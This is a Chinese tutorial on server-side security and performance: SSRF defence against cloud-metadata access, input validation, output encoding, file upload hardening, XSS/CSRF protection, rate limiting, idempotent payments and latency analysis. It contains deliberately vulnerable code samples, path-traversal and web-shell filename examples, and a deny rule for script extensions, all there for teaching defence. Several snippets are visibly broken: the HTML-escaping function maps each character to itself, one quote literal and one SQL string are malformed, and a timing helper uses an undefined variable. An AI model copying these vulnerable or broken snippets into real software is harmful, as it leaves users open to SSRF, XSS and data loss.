SSRF(Server-Side Request Forgery,服务端请求伪造)是指攻击者让服务器代替自己去发请求。由于服务器通常位于内网、拥有更高的网络权限,这个「替身」能访问到攻击者本来访问不到的资源。

攻击者 → 你的服务器(有公网+内网访问权限) → 内网服务 / 云元数据接口
                          ↓
              攻击者读取到内网数据并回显

危险的功能形态:

功能为什么危险
「填入图片 URL,我们帮你下载」可传内网地址读取内部系统响应
Webhook / 回调地址配置可用于探测内网端口与服务的可用性
URL 预览 / 网页截图可访问内网页面
文档转换(从 URL 取文件)可读取 file:// 等协议
导入功能(从 URL 导入数据)可访问云元数据接口获取凭据

云元数据接口是最致命的靶标:云主机上通常有一个特殊的链路本地地址(如 169.254.169.254)提供实例元数据,其中可能包含临时访问凭据。SSRF 一旦能读到它,往往直接导致云账号被接管。

// ❌ 漏洞:直接请求用户提供的 URL
app.post('/api/fetch-image', async (req, res) => {
  const response = await fetch(req.body.url);       // 可以传 http://169.254.169.254/...
  res.send(await response.buffer());
});

// ✅ 修复(分层防御,四层都要做)
const dns = require('dns').promises;
const net = require('net');

// 第 1 层:协议白名单(禁止 file:// gopher:// dict:// ftp:// 等)
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:']);

// 第 2 层:主机名白名单(最有效的一层 —— 只允许业务上确实需要的域名)
const ALLOWED_HOSTS = new Set(['images.example-cdn.com', 'cdn.partner.com']);

// 第 3 层:解析后的 IP 必须在公网范围(防止 DNS rebinding 与 IP 变体绕过)
function isPublicIp(ip) {
  const v = net.isIP(ip);
  if (v === 4) {
    const [a, b] = ip.split('.').map(Number);
    if (a === 10) return false;                              // 10.0.0.0/8
    if (a === 127) return false;                             // 回环
    if (a === 169 && b === 254) return false;                // 链路本地(云元数据!)
    if (a === 172 && b >= 16 && b <= 31) return false;       // 172.16.0.0/12
    if (a === 192 && b === 168) return false;                // 192.168.0.0/16
    if (a === 0 || a >= 224) return false;                   // 保留 / 组播
    return true;
  }
  if (v === 6) {
    const lower = ip.toLowerCase();
    if (lower === '::1' || lower.startsWith('fe80') || lower.startsWith('fc') || lower.startsWith('fd')) return false;
    if (lower.startsWith('::ffff:')) return isPublicIp(lower.slice(7));  // IPv4 映射地址
    return true;
  }
  return false;
}

app.post('/api/fetch-image', requireAuth, async (req, res) => {
  let url;
  try { url = new URL(req.body.url); } catch { return res.status(400).json({ error: 'bad url' }); }

  if (!ALLOWED_PROTOCOLS.has(url.protocol)) return res.status(400).json({ error: 'protocol not allowed' });
  if (!ALLOWED_HOSTS.has(url.hostname))      return res.status(400).json({ error: 'host not allowed' });

  // 第 4 层:解析后用 IP 校验,且请求时不跟随重定向
  const addrs = await dns.lookup(url.hostname, { all: true });
  if (!addrs.every((a) => isPublicIp(a.address))) {
    return res.status(400).json({ error: 'resolved to private address' });
  }

  const response = await fetch(url, {
    redirect: 'manual',                 // 关键:不自动跟随重定向(否则可 302 到内网)
    signal: AbortSignal.timeout(5000),  // 超时,防慢速读取
    headers: { 'User-Agent': 'MyApp/1.0' },
  });
  if (!response.ok) return res.status(502).json({ error: 'upstream error' });

  // 限制响应大小,防止内存耗尽
  const buf = Buffer.from(await response.arrayBuffer());
  if (buf.length > 5 * 1024 * 1024) return res.status(413).json({ error: 'too large' });
  res.type(response.headers.get('content-type') || 'application/octet-stream').send(buf);
});

SSRF 防御的优先级排序(越靠前越可靠):

优先级手段说明
1不接收完整 URL让用户只提供「资源标识」,由服务端自己拼 URL
2域名白名单只允许业务必需的少数域名
3解析后校验 IP拒绝私有/回环/链路本地地址;注意解析与连接之间可能被 DNS rebinding 攻击,理想做法是连接到校验过的 IP 并保留原 Host 头
4禁止跟随重定向或对每一跳都重新校验
5网络层隔离让发起请求的服务运行在受限网段,无法访问内网与元数据接口
6云平台加固启用需要令牌的元数据服务(如 IMDSv2),降低元数据被读取的价值
7禁用多余协议与端口只允许 80/443

SSRF + 云元数据 = 云账号接管

很多真实重大事故的链路是:一个「图片 URL 导入」功能存在 SSRF → 读到实例元数据中的临时凭据 → 用该凭据调用云 API → 遍历对象存储与数据库 → 全量数据泄露。

所以除了应用层校验,必须在网络层切断:让这类服务运行在没有云 API 权限、无法访问元数据地址的网段里,并启用需要令牌的元数据服务。应用层校验可能被绕过,网络隔离不会。

三、输入校验与输出编码

3.1 校验正例优于黑名单

策略定义强度例子
白名单(allowlist)只允许明确合法的值强status 必须是 ['pending','paid'] 之一
黑名单(denylist)拒绝已知的坏值弱「包含 <script> 就拒绝」
// ✅ 白名单 + 类型 + 范围 + 长度,四件事一起做
function validateCreateOrder(body) {
  const errors = [];

  // 类型
  if (typeof body.productId !== 'string') errors.push('productId must be string');
  // 格式与长度
  else if (!/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(body.productId))
    errors.push('productId must be uuid');

  // 范围
  if (!Number.isInteger(body.quantity) || body.quantity < 1 || body.quantity > 99)
    errors.push('quantity must be integer 1..99');

  // 枚举白名单
  if (body.channel && !['web', 'app', 'api'].includes(body.channel))
    errors.push('channel invalid');

  // 字符串长度(防超长输入导致的存储与性能问题)
  if (body.remark && Buffer.byteLength(body.remark, 'utf8') > 2000)
    errors.push('remark too long');

  return errors;
}

校验要做的六件事(缺一不可):

维度问的问题例子
类型是字符串还是对象?防止 {"$ne": null} 这类对象注入
格式符合预期模式吗?UUID、邮箱、手机号、枚举值
范围数值在合理区间吗?数量 1~99、金额 > 0 且 < 上限
长度有上限吗?文本 ≤ 2000 字节、数组 ≤ 100 项
一致性多个字段互相矛盾吗?startDate <= endDate、currency 与 amount 匹配
权限这个用户能操作这个值吗?不能给别人的订单设置状态

校验放在哪一层

在信任边界处校验:所有外部输入(HTTP 请求、消息队列消息、上传文件、第三方回调)在进入系统的第一个业务层就完成校验。之后的内部调用可以信任已校验的数据。不要在每个函数里重复校验,也不要只在最外层校验后就在内部随手用(内部函数应该接收已经规范化的类型,例如 Date 对象而不是字符串)。

3.2 输出编码

校验不等于编码。校验保证「输入是合法的」,编码保证「输出在特定上下文里不会被当作代码」。XSS 的本质就是在 HTML 上下文里没有编码,导致数据被当作代码执行。

输出上下文编码方式示例
HTML 正文HTML 实体编码< → <,> → >,& → &
HTML 属性HTML 属性编码,属性值加引号" → ",' → '
JavaScript 字符串JavaScript 编码(\xHH 或 \uHHHH)' → \x27," → \x22
CSS 值CSS 十六进制编码仅允许放在属性值位置
URL 参数URL 编码(percent encoding)encodeURIComponent()
富文本HTML 净化(sanitize)而不是编码用 DOMPurify 白名单过滤标签与属性
// ❌ 各种没有编码的危险写法
element.innerHTML = userComment;                        // DOM XSS
res.send(`<div>${userComment}</div>`);                  // 反射型 XSS
res.send(`<a href="${userUrl}">click</a>`);             // javascript: 伪协议 XSS

// ✅ 修复
element.textContent = userComment;                      // 浏览器把它当纯文本
// 或用框架的自动转义:React 的 {userComment}、Vue 的 {{ userComment }}

// 服务端模板(以通用转义为例)
const escapeHtml = (s) => String(s).replace(/[&<>"']/g, (c) =>
  ({ '&':'&', '<':'<', '>':'>', '"':'"', "'":''' }[c]));
res.send(`<div>${escapeHtml(userComment)}</div>`);

// URL 必须校验协议,不能只编码
const safeUrl = (() => {
  try {
    const u = new URL(userUrl);
    return ['http:', 'https:'].includes(u.protocol) ? u.toString() : '#';
  } catch { return '#'; }
})();
res.send(`<a href="${escapeHtml(safeUrl)}">click</a>`);

// 富文本:先净化再输出(净化之后不要再做任何字符串修改)
const clean = DOMPurify.sanitize(userHtml);
res.send(clean);

输出编码的四个坑

1. 编码顺序错误:URL 参数放进 href 属性时,要先 URL 编码,再做 HTML 属性编码。只做一次会留下绕过空间。

2. 先净化后修改:DOMPurify.sanitize() 之后再拼接字符串,可能重新引入危险内容。

3. 用了错误的上下文编码器:把 HTML 实体编码用在 JavaScript 字符串上下文里,既破坏功能又不安全。

4. innerHTML 而不是 textContent:只要不需要渲染 HTML,就用 textContent。这是消除 DOM XSS 最有效的一招。

3.3 文件上传的完整防御

文件上传是最容易出事的功能之一:上传目录在 Web 根目录下 + 允许上传脚本 = 直接 getshell。

const path = require('path');
const crypto = require('crypto');
const multer = require('multer');

// ✅ 第 1 层:大小限制(在解析阶段就拒绝,不要读完再判断)
const upload = multer({
  limits: { fileSize: 5 * 1024 * 1024, files: 1 },     // 5 MB
  storage: multer.memoryStorage(),                     // 先放内存,校验通过后再落盘
});

// ✅ 第 2 层:类型校验 —— 同时校验扩展名、MIME 与文件魔数
const ALLOWED = new Map([
  ['image/jpeg', ['.jpg', '.jpeg']],
  ['image/png',  ['.png']],
  ['application/pdf', ['.pdf']],
]);

function detectMagic(buf) {
  if (buf.length < 4) return null;
  if (buf[0] === 0xFF && buf[1] === 0xD8 && buf[2] === 0xFF) return 'image/jpeg';
  if (buf.slice(0, 8).equals(Buffer.from([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A]))) return 'image/png';
  if (buf.slice(0, 4).toString('ascii') === '%PDF') return 'application/pdf';
  return null;
}

app.post('/api/upload', requireAuth, upload.single('file'), async (req, res) => {
  const f = req.file;
  if (!f) return res.status(400).json({ error: 'no file' });

  const ext = path.extname(f.originalname).toLowerCase();
  const allowedExts = ALLOWED.get(f.mimetype);
  if (!allowedExts || !allowedExts.includes(ext)) {
    return res.status(400).json({ error: 'file type not allowed' });
  }

  // 关键:不信任客户端提供的 MIME,用文件头验证真实类型
  const realType = detectMagic(f.buffer);
  if (!realType || realType !== f.mimetype) {
    return res.status(400).json({ error: 'file content does not match its type' });
  }

  // ✅ 第 3 层:重命名 —— 完全丢弃原始文件名,防止路径穿越与特殊字符
  const key = `uploads/${req.user.id}/${crypto.randomUUID()}${ext}`;

  // ✅ 第 4 层:存到对象存储(而不是 Web 根目录),并设置为不可执行/私有
  //    bucket 侧配置:禁止脚本执行、禁止公开列目录、按需签名访问
  await objectStorage.putObject({
    Bucket: process.env.S3_BUCKET,
    Key: key,
    Body: f.buffer,
    ContentType: realType,
    ContentDisposition: 'attachment',      // 强制下载而不是在浏览器中渲染
    ServerSideEncryption: 'AES256',
  });

  // ✅ 第 5 层:给客户端一个签名 URL,而不是直链
  const url = await objectStorage.getSignedUrl('getObject', {
    Bucket: process.env.S3_BUCKET, Key: key, Expires: 900,   // 15 分钟
  });

  await db.query(
    'INSERT INTO attachments(user_id, object_key, content_type, size_bytes) VALUES($1,$2,$3,$4)',
    [req.user.id, key, realType, f.size]);

  res.json({ url });
});

如果必须存在本地磁盘(不推荐,但小项目常见):

# 上传目录单独一个 server/location,且:
server {
    listen 8080;                     # 用独立端口或独立域名提供静态文件
    server_name files.example.com;
    root /srv/uploads;

    location / {
        # 关键 1:禁止执行任何脚本
        location ~* \.(php|jsp|asp|aspx|py|sh|cgi|pl)$ { deny all; }

        # 关键 2:强制按附件下载,并声明为二进制流,避免浏览器按 HTML 解析(防存储型 XSS)
        add_header Content-Disposition "attachment" always;
        add_header X-Content-Type-Options "nosniff" always;

        # 关键 3:不要提供目录列表
        autoindex off;
    }
}

上传功能最常见的三个致命错误

1. 把上传文件存到 Web 可访问且可执行脚本的目录。攻击者上传 shell.php / .jsp / .aspx 后直接访问即获得服务器控制权。文件名后缀黑名单形同虚设(.php5、.phtml、.pHp、shell.php.jpg、解析漏洞等)。

2. 只校验扩展名或只校验客户端 MIME。两者都可以伪造,必须校验文件内容魔数。

3. 使用原始文件名保存。../../etc/cron.d/x、..%2f..%2f 可造成路径穿越覆盖任意文件。

正确的默认选择是:上传到对象存储 + 重命名 + 私有读 + 强制下载 + 签名 URL。这五个动作一起做,风险就从「getshell」降到「存储容量被占用」。

四、XSS 与 CSRF 在服务端的责任

浏览器侧的机制细节见 前端-04-浏览器与HTTP,本节聚焦服务端必须做对的事。

4.1 XSS 服务端防御

手段作用局限
输出编码根本防御,让数据不被当作代码需要按上下文选对编码器
HttpOnly Cookie阻止 JavaScript 读取 Cookie,XSS 无法直接偷会话不能阻止 XSS 发起请求(以用户身份操作)
Content-Security-Policy限制可加载/执行的脚本来源配置复杂,易被绕过;是纵深防御而非主防线
X-Content-Type-Options: nosniff阻止浏览器 MIME 嗅探,防止上传文件被当 HTML 执行需服务器正确设置 Content-Type
响应头中的 Set-Cookie 加 Secure只在 HTTPS 下发送,防中间人窃取需要全站 HTTPS
// ✅ 一次性配置好安全响应头
app.use((req, res, next) => {
  // 禁止内联脚本与未授权来源的脚本;nonce 方式需要模板配合
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self' 'nonce-" + res.locals.nonce + "'",
    "style-src 'self' 'unsafe-inline'",
    "img-src 'self' data: https://images.example-cdn.com",
    "connect-src 'self' https://api.example.com",
    "frame-ancestors 'none'",           // 防点击劫持
    "base-uri 'self'",
    "object-src 'none'",
  ].join('; '));

  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});
// ✅ 会话 Cookie 的正确属性组合
res.cookie('sid', sessionId, {
  httpOnly: true,      // JS 读不到 → XSS 无法直接窃取会话
  secure: true,        // 只在 HTTPS 传输
  sameSite: 'lax',     // 见 4.2 节;跨站请求场景需要 'none' + secure
  path: '/',
  maxAge: 1000 * 60 * 60 * 8,
  // domain 不要设置,默认为当前主机,收紧范围
});

HttpOnly 不是 XSS 的解决方案

它只保护Cookie 不被 JS 读取。XSS 依然可以:以用户身份发起请求(转账、改密码)、读取页面上的敏感数据、键盘记录、篡改页面内容。真正的 XSS 防御是输出编码 + CSP,HttpOnly 是「即使被 XSS 了,损失小一点」的减损措施。

4.2 CSRF 服务端防御

CSRF(Cross-Site Request Forgery,跨站请求伪造)利用的是「浏览器会自动携带目标站点的 Cookie」这一特性:用户在已登录 A 站的情况下访问恶意站点 B,B 页面里的表单或图片会自动带上 A 站的 Cookie 向 A 站发请求。

服务端的三层防御:

手段原理适用
SameSite Cookie 属性浏览器在跨站请求时不发送该 Cookie首选,简单有效
CSRF Token(双重提交)请求必须携带一个攻击者无法预知的令牌需要覆盖 SameSite=None 的场景
校验 Origin/Referer检查请求来源是否属于本站兜底,注意有些场景会缺失
// ✅ SameSite 的三种取值与选择
// Strict:跨站请求完全不发送 Cookie —— 最安全,但从外部链接点进来会显示未登录
// Lax(推荐默认):跨站的「顶级导航 + 安全方法(GET)」发送,POST/iframe/图片不发送
// None:总是发送,但必须同时设置 Secure —— 用于确实需要跨站的场景(如嵌入式支付)
res.cookie('sid', sessionId, { httpOnly: true, secure: true, sameSite: 'lax' });
// ✅ CSRF Token 的双重提交(Double Submit Cookie)实现
const crypto = require('crypto');

// 1. 发放:把随机令牌同时写入 Cookie 与响应体
app.get('/api/csrf-token', (req, res) => {
  const token = crypto.randomBytes(32).toString('base64url');
  res.cookie('csrf', token, {
    httpOnly: false,        // 注意:必须让前端 JS 能读到,才能放进请求头
    secure: true,
    sameSite: 'lax',
    path: '/',
  });
  res.json({ csrfToken: token });
});

// 2. 校验:所有「写操作」都要求请求头里的令牌与 Cookie 一致
const SAFE_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']);
app.use((req, res, next) => {
  if (SAFE_METHODS.has(req.method)) return next();

  const fromHeader = req.get('X-CSRF-Token');
  const fromCookie = req.cookies?.csrf;

  // 用定长比较,避免时序侧信道
  const equal = fromHeader && fromCookie &&
    fromHeader.length === fromCookie.length &&
    crypto.timingSafeEqual(Buffer.from(fromHeader), Buffer.from(fromCookie));

  if (!equal) return res.status(403).json({ error: 'csrf token invalid' });

  // 3. 额外校验 Origin(纵深防御)
  const origin = req.get('origin');
  if (origin && !ALLOWED_ORIGINS.has(origin)) {
    return res.status(403).json({ error: 'origin not allowed' });
  }
  next();
});

为什么攻击者无法伪造这个令牌:令牌是随机生成并存在用户浏览器的 Cookie 里的。恶意站点 B 向 A 站发请求时,同源策略不允许 B 读取 A 的 Cookie 值,也不允许 B 自定义 X-CSRF-Token 请求头去配合(非简单请求会触发预检,A 站的白名单会拒绝 B 的 Origin)。所以「Cookie 里有令牌」但「攻击者不知道令牌值」,请求就会失败。

什么时候「不需要」CSRF 防护

如果认证完全基于请求头里的令牌(例如 Authorization: Bearer <jwt>,且令牌存在 JS 内存或 localStorage 里而不是 Cookie 中),那么浏览器不会自动携带它,CSRF 天然不成立。这也是很多纯前后端分离 + JWT 方案不做 CSRF 令牌的原因。

但反过来要注意:把 JWT 存在 localStorage 里会放大 XSS 的后果(XSS 可直接读取令牌)。所以两种方案是在「CSRF 风险」与「XSS 后果」之间做取舍。稳妥组合是:Session/JWT 放在 HttpOnly + Secure + SameSite=Lax 的 Cookie 中,同时实现 CSRF Token。

五、速率限制与防刷

5.1 限流算法对比

算法原理优点缺点适用
固定窗口每个时间窗口内计数,超限拒绝,窗口结束清零实现最简单(INCR + EXPIRE)窗口边界突发:两个窗口交界处可能通过 2 倍流量对精度要求不高的粗粒度限制
滑动窗口用滑动的时间区间统计(如 Redis Sorted Set 存请求时间戳)精度高,无边界突发内存开销随请求量增长需要精确控制的中等流量接口
滑动窗口计数器固定窗口 + 上一窗口按比例加权精度与内存折中,工业界常用仍是近似通用推荐
令牌桶(token bucket)以固定速率放入令牌,请求消耗令牌;桶容量决定可容忍的突发允许突发,平均速率可控需要维护桶状态API 限流(允许短时突发)
漏桶(leaky bucket)请求进桶,以固定速率流出;桶满则拒绝输出速率绝对平滑不允许突发,正常峰值会被削掉保护脆弱的下游(如数据库)
// ✅ 固定窗口(简单够用,注意边界突发)
async function fixedWindowLimit(key, limit, windowSec) {
  const n = await redis.incr(key);
  if (n === 1) await redis.expire(key, windowSec);
  return { allowed: n <= limit, remaining: Math.max(0, limit - n) };
}

// ✅ 滑动窗口计数器(精度更好,内存恒定)—— 推荐作为默认方案
async function slidingWindowLimit(key, limit, windowSec) {
  const now = Math.floor(Date.now() / 1000);
  const curWindow = Math.floor(now / windowSec);
  const prevWindow = curWindow - 1;
  const elapsed = (now % windowSec) / windowSec;      // 当前窗口已过去的比例
  const weight = 1 - elapsed;                          // 上一窗口的权重

  const [cur, prev] = await redis.mget(`${key}:${curWindow}`, `${key}:${prevWindow}`);
  const estimated = Number(cur || 0) + Number(prev || 0) * weight;

  if (estimated >= limit) return { allowed: false, remaining: 0 };

  const n = await redis.incr(`${key}:${curWindow}`);
  if (n === 1) await redis.expire(`${key}:${curWindow}`, windowSec * 2);

  return { allowed: true, remaining: Math.max(0, Math.floor(limit - estimated - 1)) };
}
-- ✅ 令牌桶(Redis + Lua,原子执行,避免竞态)
-- KEYS[1] = 桶的 key
-- ARGV[1] = 桶容量 capacity
-- ARGV[2] = 每秒补充速率 rate
-- ARGV[3] = 当前时间戳(秒,带小数)
-- ARGV[4] = 本次请求消耗的令牌数
local key      = KEYS[1]
local capacity = tonumber(ARGV[1])
local rate     = tonumber(ARGV[2])
local now      = tonumber(ARGV[3])
local cost     = tonumber(ARGV[4])

local bucket = redis.call('HMGET', key, 'tokens', 'ts')
local tokens = tonumber(bucket[1])
local ts     = tonumber(bucket[2])

if tokens == nil then
  tokens = capacity
  ts = now
end

-- 按经过的时间补充令牌,上限为桶容量
local delta = math.max(0, now - ts)
tokens = math.min(capacity, tokens + delta * rate)

local allowed = tokens >= cost
if allowed then
  tokens = tokens - cost
end

redis.call('HMSET', key, 'tokens', tokens, 'ts', now)
-- 设置过期时间,避免冷 key 永久占用内存
redis.call('EXPIRE', key, math.ceil(capacity / rate) + 60)

if allowed then return 1 else return 0 end

限流必须用 Lua 或原子操作

「先 GET 计数 → 判断 → 再 INCR」在并发下会放行超额请求(多个请求同时读到同一个旧值)。Redis 执行 Lua 脚本时是单线程原子的,所以把「读 + 判 + 写」放进一个脚本是分布式限流的正确做法。关于 Lua 脚本在分布式场景下的注意事项,可参考 Redis 官方对分布式锁的讨论(同样的原子性诉求)。

5.2 分布式限流的实现思路

单机限流用进程内计数器即可,但多实例部署时每个实例各限一份,实际总配额会被放大 N 倍。分布式限流需要共享状态:

请求 → 网关/Nginx(第一层:IP 级粗粒度限流,挡住洪峰)
     → 应用实例(第二层:进程内快速限流,减少 Redis 压力)
     → Redis + Lua(第三层:用户/接口级精确限流)
层次粒度存储作用
第 1 层:边缘按 IP、按连接数Nginx 共享内存挡住明显的洪水攻击,代价极低
第 2 层:进程按接口进程内存(令牌桶)减少对 Redis 的调用
第 3 层:分布式按用户/租户/API KeyRedis + Lua精确的业务配额

降级策略很重要:如果 Redis 不可用,限流应该「放行」还是「拒绝」?

  • 放行(fail-open):保住可用性,但可能被刷。
  • 拒绝(fail-closed):保住安全,但 Redis 抖动会变成全站不可用。

对大多数业务,对「读接口」fail-open、对「敏感写接口」fail-closed 是合理的折中:读被刷损失有限,而登录、支付、验证码接口被刷后果严重。

5.3 幂等性设计防止重复扣款

幂等(idempotency) 指「同样的请求执行一次和执行多次,结果相同」。这在支付、下单、扣库存场景是刚需,因为网络重试是必然发生的:客户端超时重试、网关重试、消息队列至少一次投递、用户连点两次按钮。

// ❌ 漏洞:每次调用都扣款
app.post('/api/pay', requireAuth, async (req, res) => {
  const { orderId, amount } = req.body;
  await paymentGateway.charge(req.user.id, amount);         // 重试一次就扣两次
  await db.query('UPDATE orders SET status=$1 WHERE id=$2', ['paid', orderId]);
  res.json({ ok: true });
});

// ✅ 修复:幂等键 + 唯一约束
app.post('/api/pay', requireAuth, async (req, res) => {
  const idempotencyKey = req.get('Idempotency-Key');
  if (!idempotencyKey || idempotencyKey.length < 16) {
    return res.status(400).json({ error: 'Idempotency-Key required' });
  }

  // 第 1 步:尝试「占位」。唯一索引让并发重复请求只有一个能成功
  // CREATE UNIQUE INDEX uniq_idem ON idempotency_keys(key);
  try {
    await db.query(
      'INSERT INTO idempotency_keys(key, user_id, created_at) VALUES($1,$2,now())',
      [idempotencyKey, req.user.id]);
  } catch (e) {
    if (e.code === '23505') {                    // PostgreSQL 唯一约束冲突
      // 已经处理过:返回上次的结果,而不是重新执行
      const prev = await db.one(
        'SELECT response_status, response_body FROM idempotency_keys WHERE key=$1',
        [idempotencyKey]);
      if (prev.response_body) {
        return res.status(prev.response_status).json(prev.response_body);
      }
      // 首次请求还在处理中
      return res.status(409).json({ error: 'request in progress' });
    }
    throw e;
  }

  // 第 2 步:真正执行业务(失败要清理占位,否则用户永远无法重试)
  try {
    const charge = await paymentGateway.charge(req.user.id, req.body.amount, {
      idempotencyKey,                            // 网关侧也传幂等键,双重保险
    });
    const body = { ok: true, chargeId: charge.id };

    await db.tx(async (t) => {
      await t.query('UPDATE orders SET status=$1 WHERE id=$2', ['paid', req.body.orderId]);
      await t.query(
        'UPDATE idempotency_keys SET response_status=$2, response_body=$3 WHERE key=$1',
        [idempotencyKey, 200, body]);
    });

    res.json(body);
  } catch (err) {
    // 业务明确失败时删除占位,允许用户换参数重试
    await db.query('DELETE FROM idempotency_keys WHERE key=$1 AND response_body IS NULL',
                   [idempotencyKey]);
    throw err;
  }
});

幂等设计的三种层次:

层次手段说明
数据库层唯一约束最可靠,无论如何并发都只能成功一次
状态机层条件更新(WHERE status = 'pending')只允许合法的状态转换,天然幂等
应用层幂等键表 + 缓存结果能返回「上次的结果」,体验最好

「先查询再写入」在并发下一定会出错

```javascript

const exists = await db.one('SELECT 1 FROM payments WHERE order_id=1)', [orderId]);

```

两个并发请求可能同时读到「不存在」,然后都执行插入,产生两笔支付。查询与写入之间存在时间窗口,任何应用层判断都无法消除它。

唯一可靠的解法是让数据库来做判断:唯一索引、INSERT ... ON CONFLICT、条件更新(UPDATE ... WHERE status='pending' 并检查影响行数)。这条原则适用于优惠券、库存、注册去重、任务领取等一切「只能成功一次」的场景。

5.4 验证码的使用时机与体验取舍

验证码(CAPTCHA)解决的是「区分人和自动化程序」,它应该被用在「这个动作有滥用价值」的地方,而不是所有地方。

该用不该用
注册(防批量注册养号)每次页面加载
登录连续失败 3 次后正常浏览与搜索
发送短信/邮件验证码前(防短信轰炸与费用损失)已登录用户的日常操作
密码重置内部管理后台(可用 IP 白名单替代)
高价值优惠券领取、抽奖高频只读接口(用限流即可)
内容发布(防垃圾内容)—

体验取舍的三条原则:

  1. 渐进式挑战:先静默风控(检查请求头、行为特征、IP 信誉),判定可疑时才弹验证码。正常用户全程无感。
  2. 提供多种类型:滑块、点选、无感验证组合,避免单一类型被自动化工具攻克后全线失守。
  3. 失败要有出路:验证码识别失败时给「换一张」「语音验证」等备选,而不是把用户彻底挡住。

验证码不是万能的

① 打码平台可以人工/半自动绕过,成本极低;② 验证码本身会成为 DoS 目标(每次校验都消耗服务端资源);③ 无障碍(accessibility)问题严重,视觉验证码对部分用户不可用。

验证码应与限流、设备指纹、风控规则、账号行为分析组合使用,它是多层防御中的一层,不是唯一一层。

六、性能优化方法论

6.1 先测量再优化

性能优化的第一原则

没有测量就没有优化。 凭感觉优化有 90% 的概率优化了不重要的地方,同时把代码改复杂、引入了新 bug。永远先回答三个问题:① 瓶颈在哪一层?② 有多严重(占多少耗时)?③ 优化后的收益能否验证?

正确的优化循环:
测量 → 找到最大的瓶颈 → 假设原因 → 改一处 → 再测量 → 确认收益 → 保留或回滚
  ↑                                                                    │
  └────────────────────────────────────────────────────────────────────┘

常用的测量手段:

层面手段
单请求耗时分解请求日志里记录各阶段耗时(DB、缓存、下游 API、序列化)
数据库慢查询日志、EXPLAIN ANALYZE、pg_stat_statements
应用APM(分布式追踪)、火焰图(profiler)
系统top、iostat、ss -s、容器指标
端到端压测工具(k6/wrk)、真实用户监控(RUM)
// ✅ 在请求日志里带上分阶段耗时,优化时一眼看出瓶颈
async function timed(label, fn) {
  const t0 = process.hrtime.bigint();
  try { return await fn(); }
  finally {
    const ms = Number(process.hrtime.bigint() - t0) / 1e6;
    timings[label] = (timings[label] || 0) + ms;
  }
}

app.get('/api/orders', requireAuth, async (req, res) => {
  const timings = {};
  const orders = await timed('db', () => db.query('SELECT * FROM orders WHERE user_id=$1 LIMIT 20', [req.user.id]));
  const users  = await timed('cache', () => cache.mget(orders.map(o => `u:${o.user_id}`)));
  const stats  = await timed('downstream', () => statsService.get(orders.map(o => o.id)));

  logger.info('request.timing', {
    path: req.path, totalMs: Object.values(timings).reduce((a, b) => a + b, 0), ...timings,
  });
  res.json(orders);
});

优化的性价比排序(先做便宜的):

  1. 加缓存(改动小、收益大,但要处理一致性)
  2. 加索引 / 改查询(改动小、收益大,风险低)
  3. 去掉 N+1 查询(改动中等、收益很大)
  4. 减少往返次数(批量、并行、连接池)
  5. 算法与数据结构优化(改动大、收益取决于规模)
  6. 加机器(成本换时间,但要确认瓶颈不在单点依赖)
  7. 重写架构(最后手段)

6.2 为什么 p95 / p99 比平均值更有意义

平均值会掩盖长尾。设想 100 个请求:99 个耗时 10 ms,1 个耗时 5000 ms。

平均值 59.9 ms 看起来完全正常。但实际上有 1% 的用户等了 5 秒——如果这是分页加载或下单接口,那 1% 的用户体验是灾难性的。

指标含义为什么重要
平均值总体趋势会被极端值拉偏,无法反映个体体验
p50(中位数)一半用户快于此值反映「典型体验」
p9595% 的请求快于此值反映「较慢的那部分用户」;容量规划的常用口径
p9999% 的请求快于此值反映「最慢的 1%」;在 fan-out 场景下会变成常态
max最慢的一个噪声大,但能发现偶发的严重问题

为什么 p99 在高扇出(fan-out)场景下极为关键:一个页面请求需要调用 100 个后端服务,每个服务各有 1% 的请求超过 1 秒。假设各服务独立:

也就是说,单个服务 1% 的慢请求,会让 63% 的页面响应变慢。 这就是「长尾延迟(tail latency)」的放大效应,也是大型系统必须把 p99(甚至 p999)当作核心指标的原因。

长尾的常见来源:

来源表现对策
GC 停顿周期性毛刺换用低延迟 GC、减少大对象分配、调整堆大小
慢查询特定参数下索引失效慢查询治理、强制索引、限制返回量
连接池排队高负载时延迟非线性上升加大池 + 缩短持有时间 + 限流
缓存击穿大量请求同时穿透到数据库互斥锁 + 逻辑过期(见 7.4 节)
下游抖动重试放大超时 + 熔断 + 重试预算
锁竞争并发下排队减少锁粒度、改用无锁结构
冷启动新实例首批请求慢预热、镜像预热、start_period
网络重传偶发超时连接复用、调整内核参数

用「分位数 + 时间序列」看性能

单看一个 p95 数字不够,要看随时间的变化曲线:p95 突然抬升通常对应某个变更;p95 缓慢上升通常对应数据量增长或资源泄漏。同时必须按接口和按实例分组看——全局 p99 正常,可能掩盖了某个接口或某个实例已经严重劣化。

6.3 性能瓶颈的四个层面

层面典型症状排查手段优化方向
网络延迟高、带宽打满、连接数暴涨、超时ss -s、ping/mtr、抓包、CDN 命中率连接复用、压缩、CDN、减少往返、就近部署
CPUCPU 使用率高、load 高、响应变慢top -H(看线程)、火焰图、profiler减少计算、加缓存、算法优化、水平扩容、换更高效序列化
内存内存持续增长、频繁 GC、OOM(退出码 137)free -h、GC 日志、堆快照、dmesg修内存泄漏、减少对象分配、流式处理大数据、调整堆参数
IO / 数据库%wa 高、磁盘队列长、慢查询多、连接池满iostat -x、df -h、慢查询日志、EXPLAIN ANALYZE加索引、减少写入量、批量化、读写分离、加缓存、异步化

快速定位的决策树:

响应变慢
├─ CPU 使用率是否接近 100%?
│   ├─ 是 → 看火焰图:是业务计算、序列化、还是 GC?→ 对应优化
│   └─ 否 ↓
├─ load average 是否远大于 CPU 核数?
│   ├─ 是 → 是否有大量 IO 等待(%wa 高)?
│   │        ├─ 是 → 查磁盘与数据库(iostat、慢查询)
│   │        └─ 否 → 是否有大量不可中断睡眠(D 状态)→ 查网络存储/NFS
│   └─ 否 ↓
├─ 内存是否吃紧 / 频繁 GC?
│   ├─ 是 → 堆快照分析,查泄漏与大对象
│   └─ 否 ↓
├─ 连接池 / 线程池是否已满?
│   ├─ 是 → 池太小 或 单请求持有时间过长(慢查询是常见原因)
│   └─ 否 ↓
└─ 是否在等下游?(网络延迟、第三方 API、DNS)
